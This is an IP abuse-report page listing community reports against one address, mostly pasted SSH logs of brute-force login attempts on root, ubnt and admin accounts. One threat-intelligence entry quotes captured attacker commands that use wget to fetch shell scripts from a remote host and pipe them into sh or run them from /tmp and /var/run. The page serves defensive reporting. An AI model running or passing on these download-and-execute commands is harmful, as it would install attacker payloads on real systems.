This IP address has been reported a total of
287
times from
147 distinct
sources.
5.50.193.90 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
Reporter
IoA Timestamp (UTC)
Comment
Categories
Anonymous
Mar 31 10:54:33 f2b auth.info sshd[4527]: Failed password for root from 5.50.193.90 port 46038 ssh2
...
show moreMar 31 10:54:33 f2b auth.info sshd[4527]: Failed password for root from 5.50.193.90 port 46038 ssh2
Mar 31 10:54:34 f2b auth.info sshd[4529]: Failed password for root from 5.50.193.90 port 46069 ssh2
Mar 31 10:54:34 f2b auth.info sshd[4531]: Invalid user ubnt from 5.50.193.90 port 46070
...
show less
Mar 21 23:10:23 vmd80284 sshd[432684]: Invalid user ubnt from 5.50.193.90 port 40697
Mar 21 23:10:31 ...
show moreMar 21 23:10:23 vmd80284 sshd[432684]: Invalid user ubnt from 5.50.193.90 port 40697
Mar 21 23:10:31 vmd80284 sshd[432782]: Invalid user admin from 5.50.193.90 port 40801
Mar 21 23:10:31 vmd80284 sshd[432785]: Invalid user admin from 5.50.193.90 port 40802
...
show less
Brute-Force
SSH
Anonymous
Port Scan
SSH
Anonymous
Mar 18 19:13:53 mx1 sshd[401698]: User root from 5.50.193.90 not allowed because not listed in Allow ...
show moreMar 18 19:13:53 mx1 sshd[401698]: User root from 5.50.193.90 not allowed because not listed in AllowUsers
show less
[SID2] Fail2ban detected 5 failed SSH login attempts within 30 minutes. This report was submitted au ...
show more[SID2] Fail2ban detected 5 failed SSH login attempts within 30 minutes. This report was submitted automatically.
show less
ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/5.50.193.90
2023-03-05 1 ...
show moreThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/5.50.193.90
2023-03-05 14:56:59 ["wget -qO - http://121.37.5.54/x/1sh | sh > /dev/null 2>&1 &","rm -rf /var/run/1sh; wget -c http://121.37.5.54/x/1sh -P /var/run && sh /var/run/1sh &","wget -qO - http://121.37.5.54/x/2sh | sh > /dev/null 2>&1 &","rm -rf /tmp/2sh; wget -c http://121.37.5.54/x/2sh -P /tmp && sh /tmp/2sh &"]
show less
Mar 2 23:32:05 web3 sshd[1621041]: Failed password for root from 5.50.193.90 port 55944 ssh2
Mar 2 ...
show moreMar 2 23:32:05 web3 sshd[1621041]: Failed password for root from 5.50.193.90 port 55944 ssh2
Mar 2 23:32:06 web3 sshd[1621043]: Invalid user ubnt from 5.50.193.90 port 55992
Mar 2 23:32:06 web3 sshd[1621043]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.50.193.90
Mar 2 23:32:08 web3 sshd[1621043]: Failed password for invalid user ubnt from 5.50.193.90 port 55992 ssh2
show less
2023-02-11T21:30:16.338118hessvillage.com sshd\[25451\]: Invalid user ubnt from 5.50.193.90
2023-02- ...
show more2023-02-11T21:30:16.338118hessvillage.com sshd\[25451\]: Invalid user ubnt from 5.50.193.90
2023-02-11T21:30:44.056377hessvillage.com sshd\[25520\]: Invalid user admin from 5.50.193.90
2023-02-11T21:30:44.872127hessvillage.com sshd\[25522\]: Invalid user admin from 5.50.193.90
2023-02-11T21:30:45.684713hessvillage.com sshd\[25524\]: Invalid user admin from 5.50.193.90
2023-02-11T21:30:46.481454hessvillage.com sshd\[25526\]: Invalid user admin from 5.50.193.90
...
show less
Feb 10 03:26:24 antti-vps2 sshd[371440]: Invalid user ubnt from 5.50.193.90 port 57847
Feb 10 03:26: ...
show moreFeb 10 03:26:24 antti-vps2 sshd[371440]: Invalid user ubnt from 5.50.193.90 port 57847
Feb 10 03:26:24 antti-vps2 sshd[371442]: Connection from 5.50.193.90 port 57852 on 10.0.0.124 port 22 rdomain ""
Feb 10 03:26:24 antti-vps2 sshd[371442]: User root from 5.50.193.90 not allowed because none of user's groups are listed in AllowGroups
Feb 10 03:26:24 antti-vps2 sshd[371444]: Connection from 5.50.193.90 port 57855 on 10.0.0.124 port 22 rdomain ""
Feb 10 03:26:24 antti-vps2 sshd[371444]: User root from 5.50.193.90 not allowed because none of user's groups are listed in AllowGroups
...
show less
Brute-Force
SSH
Showing 1 to
15
of 287 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩